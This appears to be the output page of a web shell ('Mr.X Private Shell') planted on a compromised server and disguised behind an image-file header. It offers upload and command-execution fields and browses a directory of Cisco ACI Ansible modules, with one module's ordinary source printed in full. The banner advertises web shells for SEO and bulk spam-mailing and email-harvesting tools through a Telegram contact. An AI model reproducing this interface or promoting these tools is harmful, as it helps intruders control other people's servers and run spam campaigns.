����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright: (c) 2018, Dag Wieers (dagwieers) <dag@wieers.com>
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type

ANSIBLE_METADATA = {"metadata_version": "1.1", "status": ["preview"], "supported_by": "certified"}

DOCUMENTATION = r"""
---
module: aci_aaa_user
short_description: Manage AAA users (aaa:User)
description:
- Manage AAA users on Cisco ACI fabrics.
requirements:
- python-dateutil
options:
  aaa_password:
    description:
    - The password of the locally-authenticated user.
    type: str
  aaa_password_lifetime:
    description:
    - The lifetime of the locally-authenticated user password.
    type: int
  aaa_password_update_required:
    description:
    - Whether this account needs password update.
    type: bool
  aaa_user:
    description:
    - The name of the locally-authenticated user user to add.
    type: str
    aliases: [ name, user ]
  clear_password_history:
    description:
    - Whether to clear the password history of a locally-authenticated user.
    type: bool
  description:
    description:
    - Description for the AAA user.
    type: str
    aliases: [ descr ]
  email:
    description:
    - The email address of the locally-authenticated user.
    type: str
  enabled:
    description:
    - The status of the locally-authenticated user account.
    type: bool
  expiration:
    description:
    - The expiration date of the locally-authenticated user account.
    type: str
  expires:
    description:
    - Whether to enable an expiration date for the locally-authenticated user account.
    type: bool
  first_name:
    description:
    - The first name of the locally-authenticated user.
    type: str
  last_name:
    description:
    - The last name of the locally-authenticated user.
    type: str
  phone:
    description:
    - The phone number of the locally-authenticated user.
    type: str
  state:
    description:
    - Use C(present) or C(absent) for adding or removing.
    - Use C(query) for listing an object or multiple objects.
    type: str
    choices: [ absent, present, query ]
    default: present
  name_alias:
    description:
    - The alias for the current object. This relates to the nameAlias field in ACI.
    type: str
extends_documentation_fragment:
- cisco.aci.aci
- cisco.aci.annotation
- cisco.aci.owner

notes:
- This module is not idempotent when C(aaa_password) is being used
  (even if that password was already set identically). This
  appears to be an inconsistency wrt. the idempotent nature
  of the APIC REST API. The vendor has been informed.
  More information in :ref:`the ACI documentation <aci_guide_known_issues>`.
seealso:
- module: cisco.aci.aci_aaa_user_certificate
- name: APIC Management Information Model reference
  description: More information about the internal APIC class B(aaa:User).
  link: https://developer.cisco.com/docs/apic-mim-ref/
author:
- Dag Wieers (@dagwieers)
"""

EXAMPLES = r"""
- name: Add a user
  cisco.aci.aci_aaa_user:
    host: apic
    username: admin
    password: SomeSecretPassword
    aaa_user: dag
    aaa_password: AnotherSecretPassword
    expiration: never
    expires: false
    email: dag@wieers.com
    phone: 1-234-555-678
    first_name: Dag
    last_name: Wieers
    state: present
  delegate_to: localhost

- name: Remove a user
  cisco.aci.aci_aaa_user:
    host: apic
    username: admin
    password: SomeSecretPassword
    aaa_user: dag
    state: absent
  delegate_to: localhost

- name: Query a user
  cisco.aci.aci_aaa_user:
    host: apic
    username: admin
    password: SomeSecretPassword
    aaa_user: dag
    state: query
  delegate_to: localhost
  register: query_result

- name: Query all users
  cisco.aci.aci_aaa_user:
    host: apic
    username: admin
    password: SomeSecretPassword
    state: query
  delegate_to: localhost
  register: query_result
"""

RETURN = r"""
current:
  description: The existing configuration from the APIC after the module has finished
  returned: success
  type: list
  sample:
    [
        {
            "fvTenant": {
                "attributes": {
                    "descr": "Production environment",
                    "dn": "uni/tn-production",
                    "name": "production",
                    "nameAlias": "",
                    "ownerKey": "",
                    "ownerTag": ""
                }
            }
        }
    ]
error:
  description: The error information as returned from the APIC
  returned: failure
  type: dict
  sample:
    {
        "code": "122",
        "text": "unknown managed object class foo"
    }
raw:
  description: The raw output returned by the APIC REST API (xml or json)
  returned: parse error
  type: str
  sample: '<?xml version="1.0" encoding="UTF-8"?><imdata totalCount="1"><error code="122" text="unknown managed object class foo"/></imdata>'
sent:
  description: The actual/minimal configuration pushed to the APIC
  returned: info
  type: list
  sample:
    {
        "fvTenant": {
            "attributes": {
                "descr": "Production environment"
            }
        }
    }
previous:
  description: The original configuration from the APIC before the module has started
  returned: info
  type: list
  sample:
    [
        {
            "fvTenant": {
                "attributes": {
                    "descr": "Production",
                    "dn": "uni/tn-production",
                    "name": "production",
                    "nameAlias": "",
                    "ownerKey": "",
                    "ownerTag": ""
                }
            }
        }
    ]
proposed:
  description: The assembled configuration from the user-provided parameters
  returned: info
  type: dict
  sample:
    {
        "fvTenant": {
            "attributes": {
                "descr": "Production environment",
                "name": "production"
            }
        }
    }
filter_string:
  description: The filter string used for the request
  returned: failure or debug
  type: str
  sample: '?rsp-prop-include=config-only'
method:
  description: The HTTP method used for the request to the APIC
  returned: failure or debug
  type: str
  sample: POST
response:
  description: The HTTP response from the APIC
  returned: failure or debug
  type: str
  sample: OK (30 bytes)
status:
  description: The HTTP status from the APIC
  returned: failure or debug
  type: int
  sample: 200
url:
  description: The HTTP url used for the request to the APIC
  returned: failure or debug
  type: str
  sample: https://10.11.12.13/api/mo/uni/tn-production.json
"""

try:
    from dateutil.tz import tzutc
    import dateutil.parser

    HAS_DATEUTIL = True
except ImportError:
    HAS_DATEUTIL = False

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.aci.plugins.module_utils.aci import ACIModule, aci_argument_spec, aci_annotation_spec, aci_owner_spec


def main():
    argument_spec = aci_argument_spec()
    argument_spec.update(aci_annotation_spec())
    argument_spec.update(aci_owner_spec())
    argument_spec.update(
        aaa_password=dict(type="str", no_log=True),
        aaa_password_lifetime=dict(type="int", no_log=False),
        aaa_password_update_required=dict(type="bool", no_log=False),
        aaa_user=dict(type="str", aliases=["name"]),  # Not required for querying all objects
        clear_password_history=dict(type="bool", no_log=False),
        description=dict(type="str", aliases=["descr"]),
        email=dict(type="str"),
        enabled=dict(type="bool"),
        expiration=dict(type="str"),
        expires=dict(type="bool"),
        first_name=dict(type="str"),
        last_name=dict(type="str"),
        phone=dict(type="str"),
        state=dict(type="str", default="present", choices=["absent", "present", "query"]),
        name_alias=dict(type="str"),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_if=[
            ["state", "absent", ["aaa_user"]],
            ["state", "present", ["aaa_user"]],
            ["expires", True, ["expiration"]],
        ],
    )

    aci = ACIModule(module)

    if not HAS_DATEUTIL:
        module.fail_json(msg="dateutil required for this module")

    aaa_password = module.params.get("aaa_password")
    aaa_password_lifetime = module.params.get("aaa_password_lifetime")
    aaa_password_update_required = aci.boolean(module.params.get("aaa_password_update_required"))
    aaa_user = module.params.get("aaa_user")
    clear_password_history = aci.boolean(module.params.get("clear_password_history"))
    description = module.params.get("description")
    email = module.params.get("email")
    enabled = aci.boolean(module.params.get("enabled"), "active", "inactive")
    expires = aci.boolean(module.params.get("expires"))
    first_name = module.params.get("first_name")
    last_name = module.params.get("last_name")
    phone = module.params.get("phone")
    state = module.params.get("state")
    name_alias = module.params.get("name_alias")

    expiration = module.params.get("expiration")
    if expiration is not None and expiration != "never":
        try:
            expiration = aci.iso8601_format(dateutil.parser.parse(expiration).replace(tzinfo=tzutc()))
        except Exception as e:
            module.fail_json(msg="Failed to parse date format '%s', %s" % (module.params.get("expiration"), e))

    aci.construct_url(
        root_class=dict(
            aci_class="aaaUser",
            aci_rn="userext/user-{0}".format(aaa_user),
            module_object=aaa_user,
            target_filter={"name": aaa_user},
        ),
    )
    aci.get_existing()

    if state == "present":
        aci.payload(
            aci_class="aaaUser",
            class_config=dict(
                accountStatus=enabled,
                clearPwdHistory=clear_password_history,
                descr=description,
                email=email,
                expiration=expiration,
                expires=expires,
                firstName=first_name,
                lastName=last_name,
                name=aaa_user,
                phone=phone,
                pwd=aaa_password,
                pwdLifeTime=aaa_password_lifetime,
                pwdUpdateRequired=aaa_password_update_required,
                nameAlias=name_alias,
            ),
        )

        aci.get_diff(aci_class="aaaUser")

        aci.post_config()

    elif state == "absent":
        aci.delete_config()

    aci.exit_json()


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
aci_aaa_custom_privilege.py File 9.62 KB 0644
aci_aaa_domain.py File 7.35 KB 0644
aci_aaa_role.py File 9.25 KB 0644
aci_aaa_ssh_auth.py File 7.08 KB 0644
aci_aaa_user.py File 10.42 KB 0644
aci_aaa_user_certificate.py File 7.98 KB 0644
aci_aaa_user_domain.py File 8.3 KB 0644
aci_aaa_user_role.py File 9.71 KB 0644
aci_access_port_block_to_access_port.py File 13.72 KB 0644
aci_access_port_to_interface_policy_leaf_profile.py File 16.96 KB 0644
aci_access_span_dst_group.py File 14.48 KB 0644
aci_access_span_filter_group.py File 6.46 KB 0644
aci_access_span_filter_group_entry.py File 10.24 KB 0644
aci_access_sub_port_block_to_access_port.py File 11.84 KB 0644
aci_aep.py File 7.61 KB 0644
aci_aep_to_domain.py File 8.91 KB 0644
aci_aep_to_epg.py File 9.56 KB 0644
aci_ap.py File 7.67 KB 0644
aci_bd.py File 15.52 KB 0644
aci_bd_dhcp_label.py File 8.89 KB 0644
aci_bd_subnet.py File 13.81 KB 0644
aci_bd_to_l3out.py File 7.29 KB 0644
aci_bgp_rr_asn.py File 6.16 KB 0644
aci_bgp_rr_node.py File 7 KB 0644
aci_bulk_static_binding_to_epg.py File 21.97 KB 0644
aci_cloud_ap.py File 7.61 KB 0644
aci_cloud_aws_provider.py File 7.54 KB 0644
aci_cloud_bgp_asn.py File 6.53 KB 0644
aci_cloud_cidr.py File 7.87 KB 0644
aci_cloud_ctx_profile.py File 8.61 KB 0644
aci_cloud_epg.py File 7.59 KB 0644
aci_cloud_epg_selector.py File 10.64 KB 0644
aci_cloud_external_epg.py File 8.21 KB 0644
aci_cloud_external_epg_selector.py File 5.39 KB 0644
aci_cloud_provider.py File 4.46 KB 0644
aci_cloud_region.py File 5.59 KB 0644
aci_cloud_subnet.py File 8.99 KB 0644
aci_cloud_vpn_gateway.py File 6.52 KB 0644
aci_cloud_zone.py File 5.87 KB 0644
aci_config_export_policy.py File 8.63 KB 0644
aci_config_rollback.py File 9.65 KB 0644
aci_config_snapshot.py File 10.4 KB 0644
aci_contract.py File 9.33 KB 0644
aci_contract_export.py File 7.62 KB 0644
aci_contract_subject.py File 14.18 KB 0644
aci_contract_subject_to_filter.py File 12.77 KB 0644
aci_contract_subject_to_service_graph.py File 6.85 KB 0644
aci_dhcp_relay.py File 7.13 KB 0644
aci_dhcp_relay_provider.py File 10.84 KB 0644
aci_dns_domain.py File 7.06 KB 0644
aci_dns_profile.py File 6.39 KB 0644
aci_dns_provider.py File 7.11 KB 0644
aci_domain.py File 14.38 KB 0644
aci_domain_to_encap_pool.py File 11.44 KB 0644
aci_domain_to_vlan_pool.py File 10.62 KB 0644
aci_encap_pool.py File 8.85 KB 0644
aci_encap_pool_range.py File 13.35 KB 0644
aci_epg.py File 11.87 KB 0644
aci_epg_monitoring_policy.py File 7.43 KB 0644
aci_epg_to_contract.py File 10.95 KB 0644
aci_epg_to_contract_interface.py File 8.69 KB 0644
aci_epg_to_contract_master.py File 8.13 KB 0644
aci_epg_to_domain.py File 18.38 KB 0644
aci_esg.py File 9.76 KB 0644
aci_esg_contract_master.py File 8.09 KB 0644
aci_esg_epg_selector.py File 9.14 KB 0644
aci_esg_ip_subnet_selector.py File 7.82 KB 0644
aci_esg_tag_selector.py File 9.42 KB 0644
aci_fabric_leaf_profile.py File 6.37 KB 0644
aci_fabric_leaf_switch_assoc.py File 7.88 KB 0644
aci_fabric_node.py File 7.94 KB 0644
aci_fabric_pod_policy_group.py File 9.79 KB 0644
aci_fabric_scheduler.py File 9.77 KB 0644
aci_fabric_spine_profile.py File 6.39 KB 0644
aci_fabric_spine_switch_assoc.py File 7.92 KB 0644
aci_fabric_switch_block.py File 8.53 KB 0644
aci_fabric_switch_policy_group.py File 13.11 KB 0644
aci_filter.py File 7.4 KB 0644
aci_filter_entry.py File 13.3 KB 0644
aci_firmware_group.py File 6.89 KB 0644
aci_firmware_group_node.py File 6.64 KB 0644
aci_firmware_policy.py File 6.7 KB 0644
aci_firmware_source.py File 8.21 KB 0644
aci_igmp_interface_policy.py File 11.2 KB 0644
aci_interface_blacklist.py File 8.32 KB 0644
aci_interface_config.py File 13.15 KB 0644
aci_interface_description.py File 9.57 KB 0644
aci_interface_policy_cdp.py File 7.14 KB 0644
aci_interface_policy_fc.py File 7.05 KB 0644
aci_interface_policy_l2.py File 7.98 KB 0644
aci_interface_policy_leaf_breakout_port_group.py File 7.14 KB 0644
aci_interface_policy_leaf_policy_group.py File 19.02 KB 0644
aci_interface_policy_leaf_profile.py File 8.64 KB 0644
aci_interface_policy_leaf_profile_fex_policy_group.py File 7.74 KB 0644
aci_interface_policy_link_level.py File 8.84 KB 0644
aci_interface_policy_lldp.py File 7.38 KB 0644
aci_interface_policy_mcp.py File 6.92 KB 0644
aci_interface_policy_ospf.py File 13.76 KB 0644
aci_interface_policy_port_channel.py File 10.65 KB 0644
aci_interface_policy_port_security.py File 7.89 KB 0644
aci_interface_policy_spanning_tree.py File 7.59 KB 0644
aci_interface_selector_to_switch_policy_leaf_profile.py File 7.6 KB 0644
aci_l2out.py File 8.34 KB 0644
aci_l2out_extepg.py File 8.77 KB 0644
aci_l2out_extepg_to_contract.py File 9.94 KB 0644
aci_l2out_logical_interface_path.py File 11.43 KB 0644
aci_l2out_logical_interface_profile.py File 8.18 KB 0644
aci_l2out_logical_node_profile.py File 7.36 KB 0644
aci_l3out.py File 11.5 KB 0644
aci_l3out_bgp_peer.py File 16.8 KB 0644
aci_l3out_extepg.py File 9.23 KB 0644
aci_l3out_extepg_to_contract.py File 9.83 KB 0644
aci_l3out_extsubnet.py File 10.96 KB 0644
aci_l3out_interface.py File 10.87 KB 0644
aci_l3out_interface_secondary_ip.py File 10.91 KB 0644
aci_l3out_logical_interface_profile.py File 8.96 KB 0644
aci_l3out_logical_interface_profile_ospf_policy.py File 9.83 KB 0644
aci_l3out_logical_interface_vpc_member.py File 11.53 KB 0644
aci_l3out_logical_node.py File 8.34 KB 0644
aci_l3out_logical_node_profile.py File 8.88 KB 0644
aci_l3out_route_tag_policy.py File 7.64 KB 0644
aci_l3out_static_routes.py File 10.23 KB 0644
aci_l3out_static_routes_nexthop.py File 8.45 KB 0644
aci_maintenance_group.py File 6.89 KB 0644
aci_maintenance_group_node.py File 6.57 KB 0644
aci_maintenance_policy.py File 8.21 KB 0644
aci_node_mgmt_epg.py File 8.11 KB 0644
aci_ntp_policy.py File 7.76 KB 0644
aci_ntp_server.py File 8.82 KB 0644
aci_rest.py File 14.22 KB 0644
aci_snmp_client.py File 7.24 KB 0644
aci_snmp_client_group.py File 7.45 KB 0644
aci_snmp_community_policy.py File 6.72 KB 0644
aci_snmp_policy.py File 6.83 KB 0644
aci_snmp_user.py File 7.8 KB 0644
aci_static_binding_to_epg.py File 16.59 KB 0644
aci_static_node_mgmt_address.py File 9.61 KB 0644
aci_switch_leaf_selector.py File 10.67 KB 0644
aci_switch_policy_leaf_profile.py File 6.68 KB 0644
aci_switch_policy_vpc_protection_group.py File 8.74 KB 0644
aci_syslog_group.py File 9.55 KB 0644
aci_syslog_remote_dest.py File 9.3 KB 0644
aci_syslog_source.py File 7.38 KB 0644
aci_system.py File 4.82 KB 0644
aci_taboo_contract.py File 7.76 KB 0644
aci_tag.py File 7.35 KB 0644
aci_tenant.py File 6.62 KB 0644
aci_tenant_action_rule_profile.py File 7.34 KB 0644
aci_tenant_ep_retention_policy.py File 11.06 KB 0644
aci_tenant_span_dst_group.py File 11.92 KB 0644
aci_tenant_span_src_group.py File 7.94 KB 0644
aci_tenant_span_src_group_src.py File 8.46 KB 0644
aci_tenant_span_src_group_to_dst_group.py File 8.28 KB 0644
aci_vlan_pool.py File 7.62 KB 0644
aci_vlan_pool_encap_block.py File 10.63 KB 0644
aci_vmm_controller.py File 10.43 KB 0644
aci_vmm_credential.py File 8.68 KB 0644
aci_vmm_uplink.py File 6.89 KB 0644
aci_vmm_uplink_container.py File 6.71 KB 0644
aci_vmm_vswitch_policy.py File 14.72 KB 0644
aci_vrf.py File 9.04 KB 0644
aci_vzany_to_contract.py File 7.89 KB 0644